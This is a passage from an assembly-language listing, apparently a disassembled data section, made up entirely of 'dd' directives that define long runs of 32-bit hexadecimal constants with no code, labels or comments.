0BE666004h, 17AEA85Fh, 9157BA1Fh, 0A5E842EDh dd 347EE21Fh, 0C1DC1081h, 0A93F33B0h, 419A5B80h, 0B0C01CC8h dd 0B5357576h, 0F62777F8h, 29355FA7h, 0CBC4A32Eh, 7AE9E2AFh dd 5CB224Bh, 8034DAD6h, 0C1BB8A09h, 2E640533h, 0EBF1BD29h dd 698C8EB3h, 75FA033Bh, 0ABECF7F3h, 0A091FEDAh, 674180DFh dd 19750285h, 498BE2Ch, 0A120A11Ch, 342ED903h, 0FB0584C2h dd 0FFF51AB6h, 0BE0130C8h, 0C259255Fh, 0DF04D1C2h, 2F00D6BDh dd 0AB4DED30h, 0DE1697F7h, 988704F0h, 8D011B7Ah, 4B0DD520h dd 85819B60h, 0B5FF5E6Dh, 0CE172BFCh, 2B71C9AFh, 7F0EC313h dd 2510A49Eh, 5F1CC8B9h, 0ED552501h, 0D802C078h, 665AB3A9h dd 8130CB8Dh, 0F5264045h, 5AD1DBBDh, 29C7F0F6h, 49E44DF1h dd 0AD7F343Bh, 0D8539FF4h, 578B53E8h, 0A837540Eh, 940592D8h dd 0B6AFD59Fh, 0EF9AF01Dh, 31B40B70h, 57C42C71h, 0AC1B0C00h dd 0EEBFD691h, 2746B8BBh, 0F4AE1FD5h, 680123C8h, 10086DF6h dd 2FF98C89h, 91E6A58h, 0EBE4176Eh, 97EE3EDEh, 2A900BF4h dd 0C6D519A3h, 97C9B09Fh, 0EF5F250Bh, 168541F3h, 0EEF67ADDh dd 9460C84Ah, 0C7E3B300h, 0A751E660h, 4306003Dh, 7252E92Eh dd 0D13BD780h, 1707A270h, 0AD36C81Fh, 3E4F7CC4h, 8D0F9CC1h dd 202AFC49h, 0A860A9D4h, 0F782E525h, 50603E1Ah, 5F812D25h dd 0FE6A132Fh, 0C950DB7Bh, 545509B3h, 610256F9h, 5BD531A1h dd 925240Eh, 0CCD70BE1h, 95A5A388h, 130B70EBh, 0F6017260h dd 98DCB955h, 0B570281Bh, 0BE034B2Dh, 2FC05C2Ah, 0F19D33BBh dd 95E90D5Ah, 0A3A016D6h, 5A45171h, 0BC47FDF5h, 3CED0979h dd 0E931AFCEh, 89DFDC66h, 6EAB465Fh, 0A690196h, 5B5090Dh dd 52979868h, 0AAC6AA69h, 0BBF95B68h, 0D84B6C6Ah, 730F6DD3h dd 0C645480Dh, 4B581E3Fh, 8975A3FAh, 2529A9DAh, 0BCA3872Bh dd 9DFFE92Dh, 0D685A556h, 0E803AE31h, 365BD7C9h, 65A78B14h dd 0F0028822h, 34A65Fh, 0F08318A6h, 0EED8B1AAh, 0E3A87E00h dd 0A3CA39EAh, 86381B37h, 0A42C5506h, 454B898Ch, 6060A41Ch dd 0E816AC8h, 6B89CC04h, 58D5A2Ah, 53832868h, 0EEC8D3DBh dd 0A80073F2h, 83EA6D9Eh, 0B43E8Ah, 7BE4C757h, 0F38158B9h dd 0D2798409h, 0AD947977h, 0DEFD98D5h, 98BB3F50h, 5646B993h dd 3A2189D2h, 0AC4B45FDh, 5E9C4D63h, 67ADE5E9h, 9567000Bh dd 9E64818h, 119D162Bh, 0EC51BD22h, 7FA80F5Ah, 9D81106Bh dd 2A391619h, 68859412h, 0D6F59EEEh, 13237698h, 0EF1CF9EAh dd 848BD2CCh, 0E7EC294Ah, 7B0E8E4Bh, 4987AE1h, 23E000C1h dd 944DAC57h, 0F27315C8h, 0FC05B379h, 0E93AF5D2h, 859B1B12h dd 5680AA93h, 5ADDDED3h, 2D8DFC35h, 0DD607910h, 2DA2372Fh dd 0E312C9F8h, 0E6F2161Ah, 3DDDAF89h, 8FFA7E6h, 0CE5BF17Ah dd 7361BD59h, 0BD8A6A2Ch, 64C148E0h, 47B11305h, 0BB856660h dd 2A88E1FAh, 5CA9C7E9h, 8D05DEC7h, 884117B6h, 0BD2513B0h dd 310688ECh, 0D96AF0C3h, 791F0B22h, 305D82CEh, 40098DACh dd 85163115h, 74BA104Dh, 3AE2FEB2h, 0BD0B5102h, 0FE0903E1h dd 0AD1B2EBEh, 83A4E851h, 17C8CB3Eh, 27F301F1h, 94A59A0Eh dd 1E7DC8A0h, 0B50455EEh, 5E4B91BBh, 3EF960CCh, 0AE2F4C8Ah dd 0F1EFD5Eh, 1F72216h, 0C5D72402h, 0DE57471Bh, 72044038h dd 8215F492h, 4A2A309Ch, 0B687D6FBh, 40119595h, 0EDD9098Ch dd 58659C24h, 3B527102h, 0BD4DD703h, 0E6F54C69h, 0B3743B52h dd 8BD68580h, 0E1C781F5h, 5EA82F12h, 93F69AEFh, 4475698h dd 0E402BAE8h, 49A0BE14h, 0BB1F400Dh, 0E14EAC09h, 9D61D240h dd 0D94082CFh, 98D91A5h, 0F689813Fh, 4AF1CDF7h, 9259E9A8h dd 7B6CC48Bh, 2D6F262Dh, 0FF75325Fh, 9F00A535h, 0E3F4B9FDh dd 0A17A4F56h, 30132F5Fh, 0AB52BA80h, 61CB278Ah, 2417B5DFh dd 0EAD0E948h, 22EEA64Ch, 0D57B9505h, 0AB181759h, 0EF61D16h dd 23D85730h, 0E94FE8Fh, 9C4F68CBh, 71B9A040h, 2C31AB24h dd 0B5096A76h, 7E22E961h, 7A5EF589h, 8A96DBC0h, 0B76B6DDh dd 0CDDDCCE4h, 0AEB6C519h, 8AB7F75h, 81001A5Ah, 6FBC26DFh dd 377EB551h, 0B2EBB765h dd 575189A2h, 0A2875BBDh, 9F325DA4h, 0EF42C88Ah, 0BEC05E64h dd 2B432D3Eh, 453DB402h, 98E02F07h, 0F99D0AA1h, 0AEE5C2Dh dd 78027974h, 71D1869Dh, 0A54ED5CCh, 4AEA7949h, 16ACC8BDh dd 28EA018Ch, 31BD035Dh, 2E61591Ah, 0BD6D0186h, 0AED49274h dd 8BD1120Ah, 89CDF2DAh, 0F65AF47Fh, 1E012F74h, 495640BCh dd 0F7DE5494h, 0B56A8BCDh, 35AAF5E9h, 87C70155h, 7AC63ABBh dd 0BC5A6D7Ah, 2DC0A4B5h, 4A08BAFAh, 0D3AAF328h, 0A200336Fh dd 7F8D51ECh, 0BE2FBFA6h, 3E2A40E6h, 8AE92515h, 6435DBE2h dd 72DEADh, 6D29ED54h, 0F1BD783Bh, 5E0A8082h, 0B738FEA0h dd 948C8412h, 0A27CF7E1h, 2888BE93h, 2AAA00FBh, 0C0341AF4h dd 130428E0h, 0C18B4735h, 0AAE406B6h, 8EACC7D4h, 1F7C1380h dd 995F8432h, 62D75E81h, 0A8D9F96Eh, 109319h, 13DCFAF2h dd 0F8BF18C9h, 310740BBh, 10418D7Ah, 13B302Fh, 120B8A7Fh dd 87B110Dh, 0CA0EEDF3h, 6DCBA085h, 0FBCFFFD5h, 0B00BA73Fh dd 463E172h, 543855BFh, 80BABC52h, 41CE36E3h, 731009E1h dd 0C8FE67C6h, 0CF0DC82Eh, 14937228h, 4C8BAFAh, 7BCF0D2h dd 2F67FB1Ch, 0A799F031h, 18132C75h, 9FB5C59h, 15C41520h dd 0AB09BB05h, 0B20242C2h, 7B492B1Eh, 0EF2978E2h, 0CAB71BB0h dd 0A1474034h, 53109D32h, 0D1BD8951h, 0EF5F1245h, 0DD5386C2h dd 80AD4913h, 0D3A0296Bh, 62563B00h, 0D7B731C2h, 8A4E05BEh dd 0B0C8321Bh, 905D5B8Bh, 0FC4BCBDh, 91EA6BC9h, 0BCFB84A4h dd 994E16A1h, 27117AFFh, 810E7139h, 0CC1A9C8Ch, 0E9D56D75h dd 96D9DFCh, 1594D827h, 0E5A074D1h, 0F9BD0AEEh, 0A3F45C0Ch dd 0DE8B6028h, 8D89CE88h, 4C3A7295h, 5FC00861h, 0FC189905h dd 4C511D00h, 6E74DF28h, 0E77A05ACh, 0AF6967E5h, 0CB818D01h dd 283A6FB8h, 0B788AB44h, 26A2780h, 781FCB37h, 0DFD10C01h dd 2E894367h, 0BC61499Dh, 80372C90h, 0A223BDE8h, 60500035h dd 47B856BFh, 905A611Ah, 0F809F46Eh, 0EDFDC7ECh, 0E1C47A8h dd 83908010h, 9750EA8h, 561B6EBDh, 23846D1h, 977D0F37h dd 1D7657BFh, 0C0206200h, 95D8DF1Ch, 9401EF0h, 0DB81005Fh dd 6E342D6Ah, 0E7B542E9h, 402812CCh, 94D6BFEFh, 0E1B37605h dd 826B78h, 0A64F239h, 0DDD72CBAh, 0B0E78005h, 0D9EF880Fh dd 4D2A2F4Fh, 9CE8E80h, 3512C1DBh, 9DFC9C3Dh, 4AF91800h dd 47B35150h, 25AED495h, 1DC16DCh, 82BFB59Bh, 3A4D3B4Ah dd 6BBD7164h, 93296089h, 75BABE74h, 435DB95h, 6521699Dh dd 0CEA185E6h, 8DEB70D0h, 0A8E9315Fh, 73AD409Fh, 297592CDh dd 3630500h, 39A1A39Ch, 66309D17h, 9810124h, 3895FD3Ah dd 718024B0h, 8070E609h, 0CB7AB979h, 71E40973h, 495E8F0Fh dd 11309C4h, 68C8B33Ah, 734A3A3Ah, 658914F5h, 2573D119h dd 9F249A78h, 3D165287h, 7EBD73C4h, 60A72D8Dh, 809BB1Dh dd 7753E0F4h, 1A9DC9C8h, 97337986h, 0AC390E54h, 416078C8h dd 75F6684h, 17213B54h, 67D06702h, 8DD2C2BDh, 0ABC457h dd 18EBE9C9h, 1CF33CEh, 0ED4955Ah, 601B82AEh, 3C007266h dd 0AA9A45BEh, 0EB2CD93h, 0F4D0908h, 6E49C0E0h, 8DF2BE2Fh dd 900CB926h, 2B446D44h, 8BD5B89Dh, 0B915E85h, 0E65E6649h dd 0D9C38143h, 28DA6DE3h, 2A7CAFB7h, 0A48C0EC4h, 3CE935DFh dd 5D598211h, 91AC577h, 4E02F960h, 5D290F81h, 0C9802C14h dd 149D23A9h, 94B1BEA2h, 80095995h, 9ED334F7h, 48A47E04h dd 0E2F0D4F6h, 9D1E17B2h, 5925FF1Bh, 28E709B9h, 956796DFh dd 33A912E0h, 9740583h, 0BA24C185h, 98160D74h, 0AF7528AEh dd 0FE3E7402h, 0DF32CA4Eh, 680F3D9h, 0B905ACEFh, 0E9104E22h dd 0A92FE931h, 0BF66C11Ch, 173A7B29h, 0B846E9BEh, 8A9C001Ch dd 0DD22B8B1h, 512E1591h, 59DE4BFCh, 9401C6AFh, 1D8529F6h dd 0C02B010Ch, 4BCDF360h, 13C2A62Eh, 95A396B7h, 0B99120D7h dd 0C0005436h, 23D22A40h, 0E86B1089h, 3C6301B0h, 0F1A8AC64h dd 5CDB3A57h, 6DF47380h, 273A7018h, 0C67FB025h, 486F91F3h dd 51290460h, 0CAB709FEh, 0D6B1BBD1h, 0A93B1B11h, 0B31AB882h dd 997F2577h, 9A2EF82Ah, 0C41BC896h, 0B288EEE4h, 8BAB4EA3h dd 75A6D295h, 0C88D3CA1h, 30BDC46Eh, 24B4EFD0h, 3BF34BF9h dd 9C457527h, 0F2DE7617h, 7483EAD2h, 0AEED85B8h, 0D171E6ECh dd 0ED096FB8h, 773FC498h, 0CC496BEDh, 0D38B586Bh, 5E181D10h dd 0BB1CA5ECh, 0A945A7F1h, 1D5D771Bh, 133C9A22h, 892CBB8Bh dd 0AD034A7Eh, 8BFF92CFh, 7C0E484Bh, 95ECC05Ah, 982926B2h dd 2D0D93F7h, 9375F168h, 504F9076h, 602F2698h, 0DEEB60A1h dd 0B600B8E5h, 0F8613B94h, 0B7BD884Dh, 0CF813348h, 41D4D027h dd 0ECD20F9Fh, 92F94ED3h, 0B81FAA2h, 2AF10BBBh, 28A5A581h dd 0D298AC14h, 0FB255BF7h, 898FE7AEh, 0CCB1AAB2h, 0A00EE76Fh dd 0A3FC67B2h, 550992D7h, 5017D0C7h, 602688EFh, 535F5AF0h dd 0E0A6BC20h, 77BE1D5Eh, 664A4352h, 61CAA575h, 0BBF498D7h dd 0E4B0BCFh, 8535843h, 70C04D70h, 496F0543h, 0FF7A4203h dd 0F8258CA3h, 46D64C5Ch, 8AA30517h, 0AEEC205Eh, 0D6C8FE92h dd 0BD012D52h, 5B4E04FFh, 7ECEE6BBh, 4E298D22h, 0D708E499h dd 190B111Fh, 4B3D4667h, 5E4DAC51h, 0F6A4B8E8h, 7CBA0CDh dd 50E22485h, 0A35F939Fh, 8D290E17h, 2DBB97F5h, 8F6A7F8Fh dd 63378402h, 0FB7E9735h, 7E66A925h, 865EDEE1h, 5D0796C2h dd 7889A03Ah, 0B7B51678h, 42E20069h, 0B9931663h, 78F88DA9h dd 72B65E6Fh, 0A0A8F5E0h, 0DD26587Ch, 54093493h, 2DE0D41Ch dd 8F2019DFh, 78698A29h, 0E0B40D07h, 4130685Fh, 27843B3Eh dd 99659052h, 0C98F0BACh, 805D75BCh, 191F1DA7h, 4077823Ch dd 25C2CF14h, 78B77BE3h, 26FCA09h, 572075F3h, 0FEB74D4Eh dd 98BF60A9h, 544B239Ch, 2D3A7FBEh, 0D88590C8h, 596025Fh dd 9F8AEA9Ah, 848BFC57h, 0EB9D3351h, 615BD291h, 8411122Ah dd 0A4E7FBF2h, 0BB9375A5h, 0D3F0F5D7h, 5ED81F9Fh, 4B68BE52h dd 0A6D23B5h, 3C78089h, 5A2D85EDh, 0BEDCE61Dh, 60031523h dd 0AE96Ch, 0D46A0D15h, 0C0FD84D6h, 4D6D1312h, 51885AF2h dd 0FD1A099Ah, 3EC4A6D1h, 6AFD894Bh, 248EFB9Ah, 0BDD095Bh dd 17A41F7Bh, 5717CD09h, 8109FA6Eh, 71E82EEBh, 11E98CE7h dd 6D00C3BFh, 9FDB4FFDh, 60AA8h, 0F0B9F112h, 2EBBCCC0h dd 0CD61B2CCh, 8A571650h, 5EAAA9FEh, 0F93EF4F1h, 0B30FCF1Dh dd 0DB6F31FBh, 0B2ED2EAFh, 3D07E7FCh, 0F1DB99C6h, 8AA21809h dd 1BC0415h, 0BAAA6D5Eh, 859122F8h, 9371C893h, 14E7BC30h dd 0F4575h, 0FA03011Bh, 0D03E0E63h, 9414BF02h, 0D75B6BC9h dd 0E8400995h, 10EC553Bh, 1070B1B2h, 0BE4F03D9h, 614F266Bh dd 0FC211689h, 0B7040A9Bh, 4B31CEE6h, 0A293FDFCh, 0BCA300D5h dd 6052F717h, 0BC535ABBh, 5F5BC4EBh, 602557B3h, 299F36D1h dd 81B3E158h, 4E4904D9h, 0B8617355h, 61B64BB1h, 0CE1B32E7h dd 8228457h, 0F8F3AFh, 3FE6964Eh, 979509A0h, 6D2D1A7Ch dd 0EBD0E12Eh, 0CE5BD0B1h, 5DB50109h, 0ECCCD716h, 0FD958927h dd 0B5D7A00Bh, 90CCAF5Eh, 8855CF1Ch, 9F9C5B8Ah, 56BBED12h dd 0F52DF6E0h, 669E20AFh, 2917BB80h, 5844EDB5h, 0BE95C9B3h dd 0C011DEAEh, 0DA4B75E4h, 0C2F55D17h, 0FD5FDE13h, 17F9C4F1h dd 0AFB35002h, 0CB810268h, 0A69C330Bh, 966F7D5Eh, 22625FEBh dd 0F80AC1D7h, 0D332FC6Eh dd 9301E5E2h, 0D5379631h, 0ACE2D811h, 0CD1C2E00h, 989A23B5h dd 97A17F79h, 6B701094h, 0EBED6AE1h, 8301FDB8h, 18AB40C7h dd 4745890Fh, 44BC5E30h, 0A78B09D8h, 9A55AF87h, 51F461A2h dd 0BFF18C7Eh, 0EE2D8104h, 45AA5B08h, 0C4B2B55Fh, 801D2576h dd 7C78BB77h, 61291A0Bh, 0C5595696h, 4BB2EE95h, 6CF91899h dd 4EBC5EE4h, 0F3957EAAh, 191A59D1h, 0C178BC6Eh, 758D0157h dd 975B6324h, 0BBD48B7Ch, 88F5169Ah, 0A7007D12h, 0A9C47159h dd 35EAE7h, 0D03E208h, 79822B58h, 7CF68B01h, 100A0EBFh dd 0CDEDE06Bh, 0AA3134Bh, 0DEAF5D88h, 0BB1E1647h, 775A392Dh dd 2CDB2EC1h, 0C17C8906h, 0F2CFD732h, 2AADCFC0h, 2CBAB09Dh dd 9DE1337h, 9E571481h, 89573D10h, 810DF1A4h, 0E9FA8A5Fh dd 0BFC56BDCh, 0D9E1E9F6h, 0D8DE20ADh, 0C98D0917h, 0B95E64BAh dd 0A93EA924h, 2FD905BFh, 88EA2CB3h, 0FF00B7D7h, 6F04B271h dd 3B3C56CDh, 0A38E3669h, 0E000BAC9h, 0EA81F00Dh, 5AAC31DDh dd 8E041412h, 7F1E169Dh, 1307B0F9h, 1749390Bh, 5FC59B6Fh dd 250C6E25h, 0A2F01AC2h, 38B6C098h, 0AF5A584Dh, 86801222h dd 30E3C50h, 0CD3A81D0h, 0B22B1945h, 5D2D3886h, 0D9E9124Fh dd 0C8284AA9h, 251920CFh, 3C40031Ah, 0F1EFA24Fh, 9F8B0721h dd 2A511258h, 0D8F80580h, 30C1C5Bh, 5920D163h, 624D7B30h dd 19D51208h, 4CCD6404h, 4CC483C0h, 51C5B704h, 10FA018Bh dd 46B0A981h, 5909B514h, 2C3C033h, 6623819Bh, 0C62444B7h dd 5E98524h, 0D2684780h, 98D49AA7h, 0B117F82Ah, 77AF08C8h dd 17D0243Eh, 82060834h, 29EB1CB5h, 0FFE8D3h, 525EACB2h dd 12001401h, 28957727h, 0A82B8Eh, 5861F860h, 151EBE66h dd 0CDC0810Ch, 1F333864h, 475652D2h, 84B44C7Fh, 3440C15Fh dd 0F8309602h, 0E981B700h, 1E75A5F7h, 1F98B27h, 1AA01EF1h dd 80843C2Fh, 1BFA4BD5h, 0B0C0B542h, 841D5D71h, 0C1C35B66h dd 88493FECh, 7C0C89F5h, 3FC6F610h, 0C382B148h, 7E0806B8h dd 7FD4142h, 0FAC1F302h, 0EF2E9BD0h, 0F619B609h, 544E62F6h dd 1772D2FFh, 87BA07h, 0B18FA49Fh, 5D01590Bh, 0CFF529C5h dd 0D448820Fh, 81D7BEE9h, 1F055D19h, 0B6EE40C5h, 3AF07A93h dd 8C1B0C01h, 0BB55EAE6h, 0F084E0EBh, 0EA7CF83Dh, 0D9C50F9Ch dd 56008A3Ah, 232CD5BBh, 9B7AC106h, 328F464h, 8BBCBFECh dd 10000FA8h, 601C122h, 0C1C28C3Bh, 0D47C0459h, 0BFB000EEh dd 15AE3072h, 0C0484229h, 53D05F01h, 0FBA30A1Dh, 21460898h dd 0C00F5063h, 0EC8B223Fh, 30348812h, 0A2211686h, 2F00F9D7h dd 53AEC223h, 0FBFD3Fh, 0DB4E390h, 0C7A37795h, 63006870h dd 0C10F4B8Eh, 756787h, 5AAE79ECh, 49970DBCh, 46BD3A00h dd 17899814h, 947C9Ah, 0AA7BA7ADh, 0AE9C30C8h, 0B013BE00h dd 8FB11220h, 3ED3000Ch, 4FC9A53Fh, 2D0057A2h, 0B06E59Fh dd 70BA2C32h, 2700059h, 31908EF9h, 5200D8CAh, 0D453F46Fh dd 567FBCh, 5C91059Dh, 0FA86A621h, 0C3BE500h, 2FFFEA2Dh dd 0A95400BAh, 4EE4C279h, 0D47BDF82h, 15536C00h, 377625EBh dd 0FD68005Bh, 0B463D1F1h, 341DA404h, 1F00CB96h, 0E2BFAEB1h dd 10673F6Ch, 1D4DB513h, 21DA18C6h, 0E200B709h, 0AD944F3Ah dd 0CC9289Ch, 0AA5634A6h, 7008A50h, 0F5EEB120h, 7C3145h dd 65721A9Fh, 0A7AE3F7h, 0F940AA0Fh, 74FE8039h, 3A469CAh dd 25E8E041h, 6800CEB1h, 223B3202h, 1861CA75h, 20DF28D4h dd 2D12B309h, 9F01662Fh, 0ADD6241Eh, 30366442h, 6608E2C1h dd 6403E067h, 0B90740B4h, 44C7E2h, 6619F595h, 4A033282h dd 98FB1B30h, 0CAE89BEh, 0AA2BF7CFh, 0EE006AB8h, 9C975883h dd 28E31Ch, 49F51D06h, 4B9F892Eh, 978B58h, 5866BDCAh, 0E1E25Fh dd 71848F08h, 0F3026888h, 0AA2EED30h, 0D1104Ch, 23AF1101h dd 33D5999Dh, 0BC938500h, 6DD6A056h, 0B4E8C6h, 281B4DB2h dd 50F17CE4h, 46731C00h, 141018F0h, 15A1DBBh, 364D8048h dd 886840D1h, 2D1EE507h, 1C402C78h, 0E858F9Bh, 5AC712DFh dd 62AECF03h, 21920830h, 9DF8D6Eh, 130FF07Eh, 86DF0057h dd 0B6DE84h, 0CCAB9C20h, 742F9B1Eh, 48041C0Dh, 0FEE0381Bh dd 0D091003Ah, 2BF498D5h, 8CC609Dh, 5F214Ah, 3CD69133h dd 6CB2AFB7h, 0A1954D00h, 2F9AEAF5h, 5DA8001Eh, 9CE60380h dd 66241AEBh, 0A101C41Bh, 65A9AC96h, 67206BECh, 4870881Ch dd 39600544h, 0D523D191h, 77491190h, 12913200h, 0C59458DBh dd 0FC481F35h, 7D671CE6h, 3FD2EA77h, 0CA30011Dh, 0C2AB1C98h dd 7EC4B600h, 0ECA22803h, 55107F6h, 0DB34B82Eh, 3120E805h dd 0C47FE8Ch, 0D2910838h, 617088D5h, 98910131h, 0DD0DAE7Bh dd 0E07DD4E6h, 0CED1D300h, 35226293h, 42732EF2h, 20D40C9Ch dd 6AF01E38h, 0A57A70FEh, 0EBF18B01h, 1A028399h, 338F6E30h dd 0BBC1D0C4h, 233BDBA8h, 2002B506h, 60086D1Ah, 791421C4h dd 0D201DCDBh, 1942523Ch, 88408660h, 0F85FFDE0h, 48DE01ACh dd 0EDD1C730h, 0EBC440EEh, 1E402B1Ch, 659918C4h, 193D18B8h dd 14D32901h, 1896C535h, 808E9091h, 2334DB77h, 393F876Dh dd 0CF04007Fh, 1B425D22h, 0A1307398h, 0A0CE5FCh, 3034488Ch dd 0B428D515h, 5D805288h, 0D5BA912Dh, 0A01F7679h, 0C02A82ACh dd 2EAB7AC1h, 0DDEC0A14h, 0EC4A200h, 1766F39Dh, 0D9C87EA1h dd 1890C828h, 3ADB08D1h, 0C8C4DD23h, 0DB7A1540h, 0A7027729h dd 0CE82AC09h, 38D1C008h, 1934901Bh, 581D5DC4h, 0DBF41991h dd 0E5232139h, 0DB7B0EC0h, 15AA39EFh, 2416BB80h, 0CC3FA56Eh dd 0F42C1A40h, 7ED00487h, 9B1FF6h, 85ED11FCh, 8BDC03A5h dd 8C149D22h, 9AF6A1h, 0ED0B5Dh, 7407C4B1h, 467027D3h dd 0D150BDF0h, 6D0242ECh, 5B9F333Ah, 11C09D2Ch, 1DE5804Ah dd 0FF7F18h, 6C6192E0h, 0AE866740h, 0D9782576h, 4DEBD30Ah dd 0C683CCD2h, 6A3A599h, 7C176980h, 6C90E058h, 89023146h dd 3AC706DFh, 6A109431h, 4200DF91h, 311C64Bh, 0B8F64F07h dd 90A652CAh, 4222EB0Ch, 546F6631h, 0A66BE0B9h, 922978h dd 1741C608h, 5009F418h, 0E72A1400h, 7DF2C2BDh, 0FE0F7823h dd 0E4A466h, 15A740FAh, 57D8F416h, 9929E300h, 95736B69h dd 98DDE622h, 769CE4BAh, 0A092A1h, 0F5F05D47h, 0E28EA1Eh dd 8050E53Ah, 5A1F6522h, 6159D199h, 0C4164076h, 5800EBD8h dd 4850AB33h, 46F0F21h, 0D086DEC6h, 1200987Fh, 0A510ED7Bh dd 0F4C88C14h, 0ED1D5C9Ch, 0B063E740h, 53599D0Dh, 43A2F494h dd 78C7930h, 0D97D52E5h, 0C9A790B9h, 0E0C0BD35h, 0D3578167h dd 45772ADFh, 0B1B200B8h, 0DEF529AFh, 1F267ABDh, 0FA00446Dh dd 98160587h, 0AEFCA002h, 0BF714DFh, 1911D830h, 0C4171D2Ch dd 76D7B1C6h, 615F889h, 69A9A708h, 1B0178F4h, 0A13574DFh dd 30429Bh, 17F40Dh, 0ACB7A29Dh, 0B8AF2672h, 704B6C0Bh dd 0CEDE871Ah, 0D760E2F0h, 19390051h, 0EEFA5ACh, 47B0902Ah dd 20970300h, 0B5D1C4CCh, 59E1C0D2h, 9A1DF3AEh, 1E71C212h dd 27930C00h, 37A946D9h, 4E28C09Dh, 1B7DABC0h, 339840ACh dd 0E72C30E8h, 0F8403CC4h, 11F1A0h, 0C623B90h, 8D2CD5AEh dd 9B8E7D00h, 99A87067h, 509CEDCDh, 514E0035h, 1793619Dh dd 0A000A57Bh, 3B85A155h, 503EB130h, 0E80F91ACh, 7445F0A4h dd 0A8EB0E3Fh, 2920A5BDh, 867D1C75h, 0B03EF370h, 660C1F95h dd 23FFDF0Eh dd 0E1820556h, 2DE0DDDEh, 1FE87846h, 7045CE64h, 2A79AC28h dd 60ABFA30h, 4CB419Dh, 0F4C26A71h, 0E4B68062h, 9C00299Eh dd 635A5BA9h, 6109ABC0h, 3E0E3074h, 0F28907Fh, 0E060F78Eh dd 5EABBBEBh, 9692AD1Fh, 0CEDC78F0h, 0D06EE05Bh, 58DC1CD1h dd 5F711974h, 5FFDB00h, 0A1829F4Fh, 0CD41289Eh, 75B00A4Ch dd 6807BE5h, 0B8DD4045h, 0A5E2CD42h, 0BCFD7720h, 0F6750061h dd 7C29A09Bh, 0ACA3CF74h, 0E4AC2000h, 0A4EB8F68h, 0C011F4E0h dd 3BF81338h, 0C2188E5Ch, 74B17C9Bh, 11DC00E5h, 0FDFB0D32h dd 9C7460C0h, 7142E60Ch, 609B517Eh, 0B8A408E5h, 253E9907h dd 15906B3h, 1813B5h, 4C84288Dh, 64616768h, 0BB1878C8h dd 3D936300h, 0D41E4B8Dh, 0CEA0C650h, 0B3411D45h, 98424EB2h dd 0E2E1C0F9h, 1D400059h, 0FB14BE66h, 0E6002181h, 69E54127h dd 0C1B6FF5Dh, 0A8966379h, 0D12441E3h, 0E47C0051h, 0AB9B3127h dd 9EDC9C0Eh, 3E803FC1h, 8EDDFCCBh, 2EA302D1h, 13F26FFDh dd 108FF487h, 0D5266585h, 80A04EFAh, 4202236Dh, 3C696158h dd 313840F9h, 0A9CF1FE4h, 0BFCB4074h, 4CC27384h, 0F1A65E0Ah dd 2B01F0DEh, 5CF2189Ch, 189E7830h, 18660985h, 95042E64h dd 2ABE47E3h, 0F6D49090h, 6BF80739h, 80DE71C9h, 92828EC0h dd 63FCBA00h, 0F9FD8831h, 8F748E0h, 0B5BF5E08h, 707FAC02h dd 0CB9540EAh, 994F00BDh, 0FC8AECFDh, 4D004E3Ah, 0C4A441F7h dd 601251FBh, 0BCA740C3h, 921D8BA6h, 6CC0671Dh, 426BE9Eh dd 153492C6h, 9CD4FF59h, 0BDF45C03h, 1031B216h, 0CC8BECE1h dd 1823C60h, 0B1D07E55h, 8028BF10h, 5E9CEAD1h, 18195144h dd 1814899Eh, 0BE0020FBh, 0EFB406E0h, 0EBC021h, 1369BDEh dd 6F0EACE1h, 0A57FB200h, 1DE4464Bh, 544500D4h, 957E05C5h dd 6B0C5E6Dh, 97211B8h, 2521C3BDh, 5B8895D6h, 7C00B608h dd 9F9312DDh, 748C7AE9h, 0E528C006h, 3CB8EB2Fh, 18CA3206h dd 7D082A44h, 0C620C1AEh, 20BDEAF7h, 79E4DE71h, 2C00D77Bh dd 9C0FD15Ah, 5EAC6F49h, 1A0A80A2h, 310016C5h, 930759D5h dd 0CE913D8h, 0F874FE19h, 29FC4D80h, 0AA6AA0C0h, 2D078Ah dd 2139AF30h, 0D013D94Eh, 6DB8FA00h, 0BEBAC268h, 54300229h dd 0E5D5BCA1h, 1423209Eh, 0A8DE0049h, 302CDFCEh, 0EC893115h dd 9C72008Ch, 919737C7h, 404A0AADh, 0C0ACE946h, 5E7A95E7h dd 28808343h, 4714957Fh, 0BC3B120Eh, 0D0FD225Eh, 3C9280E6h dd 782DDA5Fh, 0D60F1FD1h, 0B6158022h, 312981A4h, 2AB49118h dd 34BA6C48h, 4C00982h, 42B52B98h, 0A1AD9896h, 2AA71CC0h dd 0DEEE7843h, 0BC8B30D0h, 0B428721h, 0CD1DD971h, 8F9F19D7h dd 0E7C5B900h, 50D47FDAh, 0A01DCC08h, 0EF4B360h, 0C2B9C6F0h dd 91043B60h, 8383A67h, 8E179E14h, 666DCF00h, 75F8FA0h dd 88BBC9EDh, 0D30E5067h, 4F00C2E6h, 61CC4BE3h, 0A8D0F5h dd 946D0A93h, 0F3E5C553h, 0C16F80E8h, 0BF401EB9h, 0FAD2F46h dd 0C4EC0EB2h, 3D8CB1D7h, 0E7036821h, 0E1BCD546h, 0AB93D0E4h dd 5509210h, 0B47D03A5h, 1BDF80A4h, 58E84782h, 6B660A19h dd 68ECAC41h, 1A690CBBh, 4BE9EB1Ch, 53F00800h, 27B328D9h dd 79BB005Dh, 562A4E44h, 0A924E007h, 0E9D841Dh, 308E2506h dd 0EF4F050h, 0ABE2A86Eh, 0D32A0D80h, 0FBE80CC6h, 1520C460h dd 1D2A877h, 51D536F4h, 47A53E8Fh, 2774A0F8h, 6A30902Ch dd 463F8847h, 33093E5h, 5E6E95E3h, 20EE62A4h, 0D8957B14h dd 0D28F8C07h, 4E3085EFh, 3CAF467Eh, 0E8E005B2h, 26906673h dd 1F036C77h, 0A8E01D55h, 0D0C162EDh, 6F198DF8h, 52AB0B60h dd 27306876h, 0A8781621h, 13CF93Bh, 59AEFEA7h, 4820CDC7h dd 0D6100349h, 0B3E1091Ch, 191F7800h, 97968CC5h, 374492B5h dd 8FF1610Ah, 8394B1AAh, 0CBB7884Bh, 534C4850h, 0B2EC2BF8h dd 0C8BC5D30h, 92F491D4h, 9A100798h, 0C06B4A04h, 19B7E483h dd 604BA1C1h, 4884B6EBh, 0C26306FCh, 2E307F64h, 3CC111EBh dd 80C0881Ah, 8DEAF6D3h, 0C3014C8Ah, 0C25E7E7Ah, 3030B5DAh dd 0E14A0697h, 500723A9h, 1359AD0Ch, 3A72702Ah, 0F2817ADFh dd 1E90312Bh, 8BEC5446h, 0C0BAC8C8h, 60D90C46h, 78F4BD3Dh dd 0A8735728h, 0E72412E6h, 9808A4DEh, 258C0A56h, 11F8080h dd 0AA62064h, 147A5800h, 0D6A2DADDh, 5A0809BDh, 8C008151h dd 9346391Bh, 